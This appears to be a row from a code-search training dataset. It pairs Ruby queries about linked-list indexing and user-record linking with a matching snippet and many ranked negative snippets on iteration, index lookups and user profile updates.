query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
def my_find_index(&prc) index = nil i = 0 self.each do |link| if prc.call(link) need to update index index = i end i += 1 end index end
def each(&prc) link = first until link == self.tail prc.call(link) link = link.next end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def my_index(arg)\n self.each_with_index do |ele,idx|\n if ele == arg\n return idx\n end\n end\n return nil\n end", "def find_at(index)\n return if (index + 1) > count || index < 0\n\n item = @head\n index.times { item = item.next }\n item.value\n end", "def find_index list, &block #were taking a list, and a block we want to find, find_index = func name\n list.index(&block) #look in list using .index(&block) to find the index of the block \nend", "def idIndex(a, id, offset = 0)\n p \"--------- idIndex called ------------\"\n a.each_with_index do |node, index|\n if node.id == id\n p \"------- index ---------\"\n p index\n return index + offset\n end\n end\n nil\nend", "def [](i)\n each_with_index { |link, j| return link if i == j }\n nil\n end", "def search(value)\r\n temp = @first\r\n index = 0\r\n while !temp.nil?\r\n if temp.value == value\r\n return index\r\n end\r\n temp = temp.next\r\n index += 1\r\n end\r\n return -1\r\n end", "def index(element); end", "def index_of( item )\n max = self.get_length\n counter = 1\n while( counter <= max )\n if( get(counter) == item)\n return counter\n end\n counter = counter + 1\n end\n return nil\n end", "def find(_index_value)\n raise \"Implement in subclass\"\n end", "def at(index)\n\t\tx = @head\n\t\ty = 0\n\t\tuntil x == nil\n\t\t\tif y == index\n\t\t\t\treturn x\n\t\t\tend\n\t\t\ty += 1\n\t\t\tx = x.next\n\t\tend\n\tend", "def get_index(i)\n\t\tif (!@head || @size < i+1)then return false end\n\t\tcurrent = this.head\n\t\tcount = 0\n\t\twhile (count < i) #go to the index\n\t\t\tcurrent = current.get_next()\n\t\t\tcount+=1\n\t\tend\n\t\treturn current.get_item()\n\tend", "def index()\n INDEXES.find { |i| (self + i).exist? }&.yield_self { |i| self + i }\n end", "def first_index(arr, &blck)\n #arr.find_index { |el| blck.call(el) }\n arr.each_with_index do |el, i|\n if blck.call(el)\n return i\n end\n end\n return nil\nend", "def find_index(a, target) # this is where returning directly from withing block is ok!\n a.each_with_index do |e, index|\n return index if e == target # returns to caller on line 19. This is exactly what we want\n end\n return nil # omitting return here is OK and doing so is more idiomatic\nend", "def index(*args)\n\t\t\treturn find_index(*args,&block)\n\t\tend", "def search_index(replace_index)\n current_index = 0\n each do |node|\n return node if current_index == (replace_index-1)\n current_index += 1\n end\n end", "def rindex(p0) end", "def at(index)\n if index >= @size\n return nil\n elsif index == 0\n return @head\n end\n search_index = @head\n index.times {\n search_index = search_index.next_node\n }\n return search_index\n end", "def search(aValue)\r\n temp = @first\r\n indexValue = 0\r\n while !temp.nil?\r\n if temp.value == aValue\r\n return indexValue\r\n end\r\n indexValue += 1\r\n temp = temp.next\r\n end\r\n return -1\r\n end", "def index(value)\n find_index(value, 0, @head, :next, 1)\n end", "def index(p0) end", "def index(p0) end", "def search(aValue)\n temp = @first\n indexValue = 0\n while !temp.nil?\n if temp.value == aValue\n return indexValue\n end\n indexValue += 1\n temp = temp.next\n end\n return -1\n end", "def index_match(array)\n # write your code here\n array.each_with_index do |num, index|\n if num == index \n return num\n end\n end\n -1\nend", "def find(array, target)\n array.each_with_index do |element,index|\n return index if (element == target)\n end\n nil\nend", "def [](index)\n i = 0\n each { |x| return x if i == index; i += 1 }\n nil # out of index\n end", "def at_index( n )\n # return Node object at position n in the list\n # same as array[n]\n\n # node = @head\n # n.times do\n # node = node.next if node\n # end\n # node\n\n each{ |node, index| return node if index == n }\n\n # index = 0\n # while node\n # return node if index == n\n # node = node.next # i++\n # index += 1\n # end\n # nil\n end", "def each_index(*_arg0); end", "def find(index)\n x = index\n while @parent_array[x] != 0\n x = @parent_array[x]\n end\n return x\n end", "def find(value)\n return nil if head.nil?\n\n index = 0\n curr = head\n until curr.nil?\n return index if curr.value == value\n\n index += 1\n curr = curr.next\n end\n nil\n end", "def find(value)\n index = 0\n temp = @head\n while temp\n return index if temp.value == value\n index += 1\n temp = temp.next_node\n end\n nil\n end", "def at(index); end", "def indexOf(payload_name)\n return nil if first_item.nil?\n final_item = first_item\n result_items = final_item.payload\n link_list_count = 0\n if payload_name == final_item.payload and link_list_count == 0\n return link_list_count\n end\n while payload_name != nil and payload_name != final_item.payload\n unless final_item.next_list_item == nil\n final_item = final_item.next_list_item\n link_list_count += 1\n else\n return nil\n end\n end\n # puts \"\\n at the end\"\n link_list_count\n end", "def magic_slow(arr)\n arr.each_with_index do |val, index|\n return index if val === index\n end\nend", "def search_array(arr, x)\r\n index = 0 \r\n default = nil\r\n arr.each do if x == arr[index]\r\n return index\r\n # default = index\r\n end\r\n index += 1\r\n end\r\n return default \r\nend", "def find(data)\n return nil if @head.nil?\n\n self.each_with_index do |current, ind| \n return ind if current.data == data\n end \n \t return nil # not found\t\n end", "def find(value)\n return nil if @head.nil?\n i = 0\n node = @head\n limit = size - 1\n limit.times do\n break if node.data == value\n i += 1\n node = node.next_node\n end \nif node.data == value\n \"#{value} is located in index number #{i}.\"\n i\nelse \n puts \"the given value is not on the list.\"\nend\nend", "def iterative_search(name)\n # Create an index and start at 0\n #index = 0\n @entries.each do |entry|\n if name == entry.name\n return entry\n #index += 1\n else\n return nil\n end\n end\n end", "def index(list, item, &block)\r\n\t\ti = bisect_left(list, item, &block)\r\n\t\treturn list[i] == item ? i : nil\r\n\tend", "def search(nums, target)\n nums.each_with_index do |num, index|\n return index if num == target\n end\n -1\nend", "def find(lang)\n [\"java\", \"C#\", \"Ruby\", \"Erlang\", \"Haskell\"].each_with_index { |language,index| if language == lang;return index;end }\n puts \"Couldn't find #{lang}\"\n ''\nend", "def find_index(array, target)\n index = 0\n found_index = nil\n\n array.each do |element|\n if element == target\n found_index = index\n end\n index += 1\n end\n\n found_index\nend", "def next_open_index(index)\n (index...(index + @size)).each do |i|\n if i >= @size\n i = i % @size\n end\n\n if @nodes[i] == nil\n return i\n end\n end\n\n return -1\n end", "def find_node(index)\n counter = 0\n current_node = @first\n while counter < index \n current_node = current_node.next_node\n counter += 1\n end\n current_node\n\n end", "def slow_dance(dir, arr)\n arr.each_with_index do |el, idx|\n return idx if dir == el\n end\nend", "def magic_slow(arr)\n arr.each_with_index do |val, index|\n if val === index\n return index\n end\n end\nend", "def find(data)\n if @size == 0\n return nil\n elsif @size == 1\n if @head == data\n return 0\n else\n return nil\n end\n else\n search_index = @head\n index = 0\n while search_index != nil && search_index.value != data\n search_index = search_index.next_node\n index += 1\n end\n return search_index == nil ? nil : index\n end\n end", "def at(index)\n node = @head\n index.times { node = node.link } \n node\n end", "def each_child_index\n end", "def each_child_with_index\n end", "def find_peer_index(h)\n me = h['me']\n i = 0\n h['peers'].each do |peer|\n addr = peer['addr']\n return i if addr == me\n i += 1\n end\nend", "def next\n last? ? nil : locate + 1\n end", "def index(value)\n index = nil\n\n self.each_with_indices do |yields|\n if yields.first == value\n yields.shift\n index = yields\n break\n end\n end\n\n index\n end", "def search(array, index_target)\r\n\tindex = 0 \r\n\t\r\nwhile index < array.length \r\n\tif array[index] == index_target\r\n\t\treturn index \r\n\telse \r\n\t\tnil \r\n\tend\r\n\tindex += 1 \r\nend \r\nend", "def slow_dance(dir, array)\n array.each.with_index do |el, idx|\n return idx if dir == el\n end\nend", "def search_array(arr, value)\n index = 0\n arr.each do |item|\n if item == value\n return index\n end\n index += 1\n end\n nil\nend", "def find(value)\n node = @head \n for i in 0..@size-1 \n return i if node.value == value\n node = node.link \n end\n return nil\n end", "def search(aList, aValue)\n temp = aList.first\n pos = -1\n t = 0\n while !temp.nil?\n if temp.value == aValue\n pos = t\n end\n temp = temp.next\n t += 1\n end\n return pos\nend", "def index_of(item)\n hash_value = 0\n item.each_byte { |byte| hash_value += byte }\n hash_value % @table.size\n end", "def search_from_cursor(index)\n\t\tif index == cursor_index\n\t\t\tcursor_node\n\t\telsif index > cursor_index\n\t\t\tcurrent_node = cursor_node\n\t\t\t(index-cursor_index).times do |i|\n\t\t\t\tcurrent_node = current_node.next_node\n\t\t\tend\t\n\t\t\tupdate_cursor(node: current_node, index: index)\t\t\t\n\t\t\tcurrent_node\t\t\t\n\t\telse\n\t\t\tcurrent_node = cursor_node\n\t\t\t(index-cursor_index).times do |i|\n\t\t\t\tcurrent_node = current_node.previous_node\n\t\t\tend\t\n\t\t\tupdate_cursor(node: current_node, index: index)\t\t\t\n\t\t\tcurrent_node\n\t\tend\t\t\n\tend", "def index\r\n @index ||= 0\r\n end", "def each_with_index(node=@head)\n i = 0\n until node.nil?\n result = yield(node, i)\n node = node.next_node\n i += 1\n end\n result\n end", "def find(value)\n result = -1\n @inner.each_with_index do |item, index|\n if value == item\n result = index\n break\n end\n end\n return result\n end", "def find_index array, item\n\tl,r = 0, array.length-1\n\n\twhile l <= r\n\t\tm = (r+l) / 2\n\t\tcomp = yield item, array[m]\n\t\tif comp == false\n\t\t\t# Items compare the same\n\t\t\treturn false\n\t\telsif comp == -1 \n\t\t\tr = m - 1\n\t\telse\n\t\t\tl = m + 1\n\t\tend\n\tend\n\n\tl\nend", "def index(value)\n each.with_index do |v, i|\n return i if v == value\n end\n return nil\n end", "def index_of(target)\n current = @head\n index = 0\n until current.nil?\n return index if current.value == target\n\n current = current.next\n index += 1\n end\n -1\n end", "def find_index(name)\n\t\tindex = 0\n\t\tfound = false\n\n\t\ttodo_items.each do |item|\n\t\t\tif item.name == name\n\t\t\tfound = true\n\t\tend\n\t\tif found\n\t\t\tbreak\n\t\telse\n\t\t\tindex += 1\n\t\tend\n\tend\n\t\tif found\n\t\t\treturn index\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend", "def find_element_index(array, value_to_find)\n array.length.times do |count|\n if array[count] == value_to_find \n return count\nend\nend\nnil\nend", "def get_at_index(index)\n return nil if @head.nil?\n \n pointer = @head\n count = 0\n until pointer.next.nil? || count == index\n pointer = pointer.next\n count += 1\n end\n\n return pointer.data\n end", "def index(element)\n each_with_index { |e, index| return index if e == element }\n nil\n end", "def first_index(arr, &prc)\n\n arr.each_with_index do |ele, i|\n return i if prc.call(ele)\n end\n return nil\nend", "def find(index_key)\n index[index_key]\n end", "def find_node_at(index)\n current_index = 0\n node = @head\n until current_index == index\n puts current_index\n node = node.next\n current_index += 1\n end\n puts \"returning node at #{current_index}\"\n node\n end", "def [](index); end", "def lindex(key, index); end", "def lindex(key, index); end", "def next_index(idx)\n idx = idx + 1\n idx = 0 if idx >= @connections.length\n idx\n end", "def locate\n\t i = self.comic.live_pages.index(self)\n\t i ? (i + 1) : false\n\tend", "def first_index(arr, &prc)\n arr.each.with_index do |ele, idx| \n return idx if prc.call(ele)\n end\n nil\nend", "def find_index_by_path(*path)\n if item = find_item_by_path(*path)\n item.index\n end\n end", "def find_magic_index(array)\n array.each_with_index do |element, index|\n if element == index \n return element\n end \n end \n -1 \nend", "def at(index)\n return nil if @head.nil? \n return @head if index == 1\n return nil if index > self.size\n self.each_with_index do |current, ind|\n return current if ind == index\n end\n\n end", "def get_at_index(index)\n counter = 0\n pointer = @head\n return nil if @head.nil?\n until counter == index || pointer.next.nil?\n pointer = pointer.next\n counter += 1\n end\n return pointer.data\n end", "def search(aValue)\r\n temp = @first\r\n position = -1\r\n currentPos = 0\r\n while !temp.nil?\r\n if temp.value == aValue\r\n position = currentPos\r\n end\r\n currentPos = currentPos + 1\r\n temp = temp.next\r\n end\r\n return position\r\n end", "def linear_search(object, array)\n i = 0\n until array[i] == object || array[i] == nil\n i += 1\n end\n array[i] == object ? i : nil\n end", "def linear_search(sorted_array, desired_item)\n index = 0\n sorted_array.length.times do \n if desired_item == sorted_array[index]\n break \n else \n index += 1\n end\n if index > sorted_array.length - 1\n index = nil \n end\n end\n return index \nend", "def position_result\n hurdle_match.rank.index(self) + 1\n end", "def find(value)\n if @head.nil?\n 'List is empty'\n else\n current_node = @head\n index = 0\n until current_node.nil?\n\n if current_node.value == value\n return index\n else\n current_node = current_node.next_node\n end\n\n index += 1\n end\n end\n nil\n end", "def search(aValue)\n temp = @first\n count = 0\n while !temp.nil?\n if temp.value == aValue\n return count\n end\n count = count + 1\n temp = temp.next\n end\n return -1\n end", "def at_index(index)\n if head == nil\n \"Theres nothing in the list\"\n else\n tmp = head\n i = 0\n while i != index\n tmp = tmp.next_node\n i += 1\n end\n tmp\n end\n end", "def _find_next regex=@last_regex, start = @search_found_ix \n raise \"No previous search\" if regex.nil?\n #$log.debug \" _find_next #{@search_found_ix} : #{@current_index}\"\n fend = @list.size-1\n if start != fend\n start += 1 unless start == fend\n @last_regex = regex\n @search_start_ix = start\n regex = Regexp.new(regex, Regexp::IGNORECASE) if @search_case\n start.upto(fend) do |ix| \n row = @list[ix]\n m=row.match(regex)\n if !m.nil?\n @find_offset = m.offset(0)[0]\n @find_offset1 = m.offset(0)[1]\n @search_found_ix = ix\n return ix \n end\n end\n end\n fend = start-1\n start = 0\n if @search_wrap\n start.upto(fend) do |ix| \n row = @list[ix]\n m=row.match(regex)\n if !m.nil?\n @find_offset = m.offset(0)[0]\n @find_offset1 = m.offset(0)[1]\n @search_found_ix = ix\n return ix \n end\n end\n end\n return nil\n end", "def index ; @index ; end", "def index(key, size)\n i = IndexNext.new\n sum = 0\n i.next = 0\n # generate index with ascii code\n key.each_byte do |c|\n sum += c\n end\n i.index = sum % size\n if self.list[i.index] != nil\n #loop through the next available slot\n i.index = i.index + 1\n #index and number_searched is returned to i\n i = next_open_index(i.index)\n else\n #when empty just return sum % size\n i\n end\n end", "def current_idx\n return @idx >= 0 ? @idx : nil\n end", "def search(arr, x)\n (0..arr.count).each do |i|\n return i if arr[i] == x\n end\n -1\nend", "def find(value)\n idx = 0\n node = list\n while node != nil\n return idx if node.value == value\n idx += 1\n node = node.nextNode\n end\n return nil\n end", "def return_next_match binding, *args\n first = nil\n ix = 0\n $view.each_with_index do |elem,ii|\n if binding.call(elem, *args)\n first ||= ii\n if ii > $cursor \n ix = ii\n break\n end\n end\n end\n return first if ix == 0\n return ix\nend", "def return_next_match binding, *args\n first = nil\n ix = 0\n $view.each_with_index do |elem,ii|\n if binding.call(elem, *args)\n first ||= ii\n if ii > $cursor \n ix = ii\n break\n end\n end\n end\n return first if ix == 0\n return ix\nend", "def find_item(array, target)\n array.select do |elem| elem== target\n return array.index(target)+1\n end\n\n\n\n\nend", "def [](idx)\n return @cache[idx] if @cache.has_key? idx\n while @pointer != idx\n previous_entry = @cache[@pointer]\n\n @pointer += 1\n\n if first_mention? previous_entry\n @cache[@pointer] = 0\n @index[0] << @pointer\n else\n a, b = *@index[previous_entry][-2..-1]\n @cache[@pointer] = b - a\n @index[b - a] ||= []\n @index[b - a] << @pointer\n end\n\n end\n\n @cache[idx]\n end", "def search_for(index)\n p index\n @structure.each do |node|\n if node.edge_id == index \n return node end\n end\n end" ]
[ "0.7038404", "0.67932135", "0.66767657", "0.6661337", "0.66362035", "0.6623552", "0.6558645", "0.65362614", "0.65333897", "0.6526858", "0.6521361", "0.6507502", "0.6506571", "0.64914423", "0.64888173", "0.64777833", "0.64771503", "0.6470542", "0.6455576", "0.64458805", "0.64386415", "0.64386415", "0.64258623", "0.6391239", "0.6360219", "0.6350628", "0.6314238", "0.6311402", "0.6293057", "0.6290384", "0.6286617", "0.62614536", "0.625775", "0.624896", "0.62435037", "0.62409496", "0.62363183", "0.62293124", "0.62138236", "0.62080616", "0.6199655", "0.6185721", "0.61832345", "0.61792797", "0.61734074", "0.6158864", "0.6155885", "0.6155778", "0.61545235", "0.6150149", "0.6148609", "0.6147497", "0.6137489", "0.6128964", "0.61242026", "0.6119924", "0.6114778", "0.6114062", "0.6107067", "0.6100449", "0.6096162", "0.6084237", "0.607182", "0.6066216", "0.606106", "0.60607326", "0.60538745", "0.6052716", "0.60503626", "0.6048339", "0.6032278", "0.6025708", "0.602506", "0.6012282", "0.601208", "0.601208", "0.6011926", "0.6008158", "0.60064", "0.59984446", "0.5992783", "0.5991564", "0.59910244", "0.5990961", "0.59903324", "0.59883654", "0.5983787", "0.5981985", "0.59810346", "0.5979601", "0.5978422", "0.5966195", "0.5961342", "0.5960307", "0.5948777", "0.59411323", "0.5937479", "0.5937479", "0.5936337", "0.59343606", "0.5933231" ]
0.0
-1
uncomment when you have `each` working and `Enumerable` included
def to_s inject([]) { |acc, link| acc << "[#{link.key}, #{link.val}]" }.join(", ") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def each(&block); end", "def each(&block); end", "def each(&block); end", "def each(&block); end", "def each(&block); end", "def each(&block); end", "def each(*) end", "def each; end", "def each; end", "def each; end", "def each; end", "def each; end", "def each; end", "def each; end", "def each; end", "def each; end", "def each; end", "def each; end", "def each\n raise 'Not implemented'\n end", "def each_identity; end", "def each(&a_proc); end", "def each(&block)\n raise NotImplementedError\n end", "def each\n to_a.each\n end", "def each\n to_a.each\n end", "def each\n to_a.each\n end", "def each(&block)\n raise NotImplementedError\n end", "def _each(&block)\n _next.each(&block) if _next\n end", "def each(&block)\nend", "def each(&block)\n end", "def each(&block)\n\n end", "def each &block\n end", "def each\n end", "def each\n end", "def each\n end", "def each\n end", "def each\n end", "def each\n end", "def each\n for each element\n yield(element)\n end\nend", "def each(&blk); each_value(&blk) ; end", "def each # And define each on top of next\n loop {yield self.next }\n end", "def each\n end", "def each\n end", "def my_each(&prc)\n end", "def each_raw\n iterator.each { |i| yield i }\n end", "def each(&blk)\n to_a.each(&blk)\n end", "def each_set\n \n end", "def each(&block) # block into proc\n\nend", "def each(&blk)\r\n to_a.each(&blk)\r\n end", "def each(&block)\n to_a.each(&block)\n end", "def each\n yield self\n end", "def custom_each(array)\r\n i = 0 \r\n while i < array.length \r\n yield array[i]\r\n i += 1\r\n end\r\nend", "def each(&block)\n to_a.each(&block)\n end", "def each # And define each on top of next\n loop { yield self.next }\n end", "def each\n end", "def through; end", "def deep_each\n \n end", "def each\n # passes block - if any - to upstream each.\n to_a.each(&Proc.new)\n end", "def each(options={}, &block)\n end", "def each\n# And define each on top of next\nloop { yield self.next }\nend", "def each\n# And define each on top of next\nloop { yield self.next }\nend", "def each(&block)\n to_a.each(&block)\n end", "def each(&block)\n to_a.each(&block)\n end", "def each(&block)\n internal_collection.each(&block)\n end", "def test_try_each_instead_of_collect_change_array\n array = [1, 2, 3]\n array = array.each { |item| item + 10 }\n #assert_equal [11, 12, 13], array\n assert_equal [1, 2, 3], array\n end", "def each(&block)\n if use_eager_all?\n all(&block)\n else\n super\n end\n end", "def each()\n self.to_a.each { |elt| yield elt }\n end", "def custom_each(array)\n i = 0\n while i < array.length\n yield array[i]\n i += 1\n end\nend", "def each(&block)\n return enum_for :each unless block\n\n @data.each(&block)\n\n self\n end", "def each(&block)\n @collection.each(&block)\n end", "def each(&block)\n all.each(&block)\n end", "def each\n self.to_a.each do |el|\n yield(el)\n end\n end", "def custom_each(array)\n i = 0\n while i < array.length\n #yield will pass this element to the block\n yield array[i] #each and single element of array iterate\n i += 1 #to stop infinite loop\n end\nend", "def each(&block)\n @all.each(&block)\n end", "def each\n all.each do |el|\n yield el\n end\n end", "def each(node, &block); end", "def each\n @collection.each { |c| yield c }\n end", "def each(&block)\n return all.each(&block)\n end", "def each(&block)\n to_set.each(&block)\n end", "def each(&block)\n @collection.each(&block)\n end", "def iterator()\n raise NotImplementedError\n end", "def each\n all.each do |el|\n yield el\n end\n end", "def each_pair(*) end", "def each\n\n\t\t@a.each do |x|\n\t\t\tyield x\n\t\tend\n\tend", "def each_value(&block); end", "def each\n @base.each { |item| (yield item) if @filter.call(item) }\n end", "def each_with_iterator\n\n iterator = get_iterator_fast\n while (iterator.has_next?)\n yield iterator.get_next, iterator if block_given?\n end\n \n end", "def each\n # Include every to be inside enumerable:\n yield \"pizza\"\n yield \"spaghetti\"\n yield \"salad\"\n yield \"water\"\n yield \"bread\"\n end", "def each\n return enum_for(:each) unless block_given?\n results.each(&Proc.new)\n self\n end", "def iterate\n raise \"You should implement this\"\n end", "def each()\n yield izq\n yield der\n end", "def my_each\n return to_enum unless block_given?\n\n i = 0\n arr = to_a\n while i <= arr.length - 1\n yield (arr[i])\n i += 1\n end\n self\nend", "def test_each_is_a_method_on_arrays\n assert_equal true, [].methods.include?(as_name(:each))\n end", "def each\n while true do\n yield\n break if ! advance\n end\n end", "def each\n\t\t\t@elements.each\n\t\tend", "def each(&block)\n self.entries.each(&block)\n end", "def each(&block)\n\t\t\t@ordered.each(&block)\n\t\tend", "def each(&block)\n @succ.each(&block)\n end", "def each\n return enum_for(:each) unless block_given?\n\n @data.collection.each { |item| yield item }\n end", "def each\n self\n end", "def each a\n\ti = 0\n\tuntil i == a.size\n\t\tyield a[i]\n\t\ti += 1\n\tend\n\ta\nend", "def each\r\n @many = true\r\n yield(self)\r\n end" ]
[ "0.729552", "0.729552", "0.729552", "0.729552", "0.729552", "0.729552", "0.7163506", "0.7115632", "0.7115632", "0.7115632", "0.7115632", "0.7115632", "0.7115632", "0.7115632", "0.7115632", "0.7115632", "0.7115632", "0.7115632", "0.70454085", "0.70422536", "0.6950336", "0.67962986", "0.6785345", "0.6785345", "0.6785345", "0.6769122", "0.67689735", "0.6761285", "0.6760564", "0.67484224", "0.670535", "0.6691466", "0.6691466", "0.6691466", "0.6691466", "0.6691466", "0.6691466", "0.65371907", "0.65258676", "0.6522973", "0.6517588", "0.6517588", "0.65108895", "0.6491474", "0.6480453", "0.6447932", "0.64402527", "0.6432575", "0.6425434", "0.6420477", "0.64058363", "0.6389031", "0.63806725", "0.63749486", "0.6358362", "0.6350714", "0.6331007", "0.6308578", "0.629094", "0.629094", "0.6287402", "0.6287402", "0.62584895", "0.62507784", "0.62379384", "0.6236218", "0.6233514", "0.61990553", "0.61748576", "0.6174535", "0.6169708", "0.61646897", "0.61598593", "0.61364555", "0.6130905", "0.61122656", "0.6075232", "0.60705495", "0.60688484", "0.6068011", "0.60412186", "0.6033586", "0.60155994", "0.6005511", "0.60011655", "0.5992693", "0.5988352", "0.59776527", "0.59730136", "0.595645", "0.59448767", "0.59445673", "0.59279287", "0.5916175", "0.59131575", "0.5907706", "0.59056437", "0.5896799", "0.5880981", "0.58792335", "0.58730495" ]
0.0
-1
def self.link_user_info(user_info) result = nil user = User.new user.id = user_info.uid.to_i if user_info.uid && user_info.id user.user_info = user_info.id result = update_pg_user end result end Update the users table with the matched partners Return true if lacticate users was successful and nil otherwise
def lacticate_users(user1,user2) # PostgresUser.lacticate_users(user1,user2) lacticate_pg_users(user1,user2) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def updateUser(linkedInInfo, user)\n user.update_attributes(:firstName => getValueFromLinkedInInfo(linkedInInfo, 'firstName'),\n :lastName => getValueFromLinkedInInfo(linkedInInfo, 'lastName'),\n :location => getValueFromLinkedInInfo(linkedInInfo, 'location'),\n :industry => getValueFromLinkedInInfo(linkedInInfo, 'industry'),\n :numConnections => getValueFromLinkedInInfo(linkedInInfo, 'numConnections'),\n :position => getValueFromLinkedInInfo(linkedInInfo, 'title'),\n :company => getValueFromLinkedInInfo(linkedInInfo, 'company'),\n :emailAddress => getValueFromLinkedInInfo(linkedInInfo, 'emailAddress'))\n user.save\n return user\n end", "def update\n new_user = !@current_user.username && user_params[:username].present?\n if @current_user.update(user_params)\n if (new_user)\n \n users = UserContact.where(phone: @current_user.phone)\n users.each do |gu|\n Notification.create user_id: gu.user_id, \n name:@current_user.name, \n username:@current_user.username, \n creator_id:@current_user.id,\n user_image:@current_user.image.url, \n link: 'pages/profile/screen',\n description: '[User] has joined Pollzapp ',\n code: '106',\n text: @current_user.name + ' has joined pollzapp', parts: [\n {text: @current_user.name+ ' has joined pollzapp', link: 'pages/profile/screen', context: {user: {id: @current_user.id}}}\n ], icon: @current_user.image\n end\n end\n render :show\n else\n render json: @current_user.errors.full_messages, status: 422\n end\n end", "def update_user( user, page, new_password = nil )\n # load fields from LDAP\n user.uniqueid = page[0][@settings['ldap_field_uid']][0]\n user.preferred_name = page[0][@settings['ldap_field_nickname']][0] unless page[0][@settings['ldap_field_nickname']].nil? \n user.first_name = page[0][@settings['ldap_field_firstname']][0]\n user.middle_name = page[0][@settings['ldap_field_middlename']][0] unless page[0][@settings['ldap_field_middlename']].nil?\n user.last_name = page[0][@settings['ldap_field_lastname']][0]\n user.instructor = false\n user.activated = true\n if page[0][@settings['ldap_field_affiliation']].nil?\n user.affiliation = \"unknown\" \n else \n user.affiliation = page[0][@settings['ldap_field_affiliation']].join(', ') \n\n inst_affiliations = @settings['instructor_affiliation'].split(',')\n page[0][@settings['ldap_field_affiliation']].each do |x|\n inst_affiliations.each do |instructor_affiliation|\n if x.downcase.eql?( instructor_affiliation.downcase )\n user.instructor = true\n end\n end\n end\n end\n\n user.personal_title = page[0][@settings['ldap_field_personaltitle']][0] unless page[0][@settings['ldap_field_personaltitle']].nil?\n user.office_hours = page[0][@settings['ldap_field_officehours']][0] unless page[0][@settings['ldap_field_officehours']].nil?\n user.phone_number = page[0][@settings['ldap_field_phone']][0] unless page[0][@settings['ldap_field_phone']].nil?\n user.email = page[0][@settings['ldap_field_email']][0]\n \n unless new_password.nil?\n user.update_password( new_password )\n end\n \n if ! user.save\n raise SecurityError, \"Unable to save user: #{user.errors.full_messages.join(', ')}\", caller\n end\n \n return user\n end", "def join(user)\n @mysqlHelper.insertConUser(user.getI,@id)\n @userList.getcontents.each { |users| \n \n users.userChangeFromChannel(\"204\", @id, user.getId)\n }\n @userList.add(user)\n \n end", "def change_info\n if params.include?(:token) and params.include?(:name) and params.include?(:address) and params.include?(:email) and params.include?(:description)\n if User.exists?(:token => params[:token])\n user_temp = {:name => params[:name], :address => params[:address], :email => params[:email], :description => params[:description]}\n user = User.find_by(:token => params[:token])\n if user.update user_temp\n success = true\n message = 'Updated successfully'\n else\n success = false\n message = 'Something wrong happened with database'\n end\n else\n success = false\n message = 'Token does not exist'\n end\n else\n success = false\n message = 'Please check your parameters again'\n end\n result = {:success => success, :message => message}\n render json: result\n end", "def existing_user_match\n # First see if any of the phones match the \"tested\" phone (stored in user's profile)\n matching_users = []\n contact_details.each do |cd|\n if cd.is_phone? \n # Make sure we make the search using the full value b/c that's what we save in the user's mobile number record\n if user = User.find_by_mobile_number(cd.normalized_value)\n cd.update_attribute(:kind,:mobile_phone) unless cd.is_mobile_phone?\n matching_users << user\n end\n elsif cd.is_email?\n # Now let's see if this contact's emails match a verified email in the system\n user = User.find_by_email(cd.email) and matching_users << user\n else\n raise \"Contact record has to either be a phone or an email : #{cd.inspect}\"\n end\n \n \n # If we haven't found a user to bind to yet based upon confirmed results, \n # see if we match other contact details which may have already been bound to a user \n # already. If so, then we don't make a new user, but just bind to the same existing user. \n # We consider mobile phones and emails to be unique. If it's not a unique identifier\n # then we treat them as separate users\n unless user \n ContactDetail.where({:value => cd.value,:kind => cd.kind}).each do |cd2|\n if cd2.user && (cd.is_unique_identifier? || self.name_matches(cd2.contact_record)) \n matching_users << cd2.user\n end \n end\n end \n end\n # It's very possible to match multiple times because one contact record may have the \n # email and another a phone number, for example. \n if matching_users.uniq.length > 1\n # For now just raise an error, later we'll have to deal with it somehow\n logger.warn \"OH OH, found multiple matching users #{matching_users.uniq.ids.inspect} for contact record #{id}\"\n end\n return matching_users.first\n end", "def user_profile(json_info, &block)\n join_key = json_info['key']\n match_key = json_info['match_key']\n profile_info = json_info['profile']\n match_url = json_info['url']\n\n # TODO: database create\n new_user = User.new(key: join_key, match_key: match_key,\n profile_info: profile_info, match_url: match_url)\n\n # TODO: this goes in the db's response block\n @users[join_key] ||= new_user\n block.call\n end", "def fill_up_user_update\n # return true if !self.class.column_names.include? 'updated_by_id'\n return true if !UserInfo.current_user_id\n\n # self.updated_by_id = UserInfo.current_user_id\n true\n end", "def update_user\n end", "def update_user\n query = User.pluck(:device_id).index(params[:device_id])\n if query == nil\n @new_user = User.create(device_id: params[:device_id], nickname: params[:name], level: params[:level], score_single: params[:score])\n #binding.pry\n b_60 = Leaderboards.insert_leaderboard_single(params[:device_id], params[:score])\n rank_self = Leaderboards.get_rank_in_single(params[:device_id])\n render json: { code: \"1\", info: \"create user\", refresh_top: b_60, rank: rank_self}\n else\n @user = User.find_by(device_id: params[:device_id])\n @user.score_single = params[:score]\n @user.nickname = params[:name]\n @user.level = params[:level]\n @user.save!\n b_60 = Leaderboards.insert_leaderboard_single(params[:device_id], params[:score])\n rank_self = Leaderboards.get_rank_in_single(params[:device_id])\n render json: { code: \"1\", info: \"update user\", refresh_top: b_60, rank: rank_self }\n end\n end", "def user?(user)\n user.blank? and return false\n unless user.is_a?(UserInfo) # user is supposed to be given by its id.\n user = UserInfo.find(user.to_i)\n end\n user.is_a?(UserInfo) \n end", "def update_profile(params, userid)\n db = connect()\n if params[\"id\"] != userid\n return false\n end\n password = db.execute('SELECT Password FROM users WHERE Id=?', userid).first\n if (BCrypt::Password.new(password[\"Password\"]) == params[\"password2\"]) == true\n if params[\"password\"] != \"\" && params[\"password\"] == params[\"password3\"]\n db.execute('UPDATE users SET Password=? WHERE Id=?', BCrypt::Password.create(params[\"password\"]), userid)\n end\n if params[\"mail\"] != \"\"\n db.execute('UPDATE users SET Mail=? WHERE Id=?', params[\"mail\"], userid)\n end\n if params[\"username\"] != \"\"\n db.execute('UPDATE users SET Username=? WHERE Id=?', params[\"username\"], userid)\n end\n return true\n else\n return false\n end\n end", "def convert_user(user)\n # split name and last_name\n name = user[\"NAME\"].split(\",\")[0]\n last_name = user[\"NAME\"].split(\",\")[1]\n # save or update user info in app DB\n if !User.where(national_id: user[\"EMPLID\"]).empty?\n user_db = User.where(national_id: 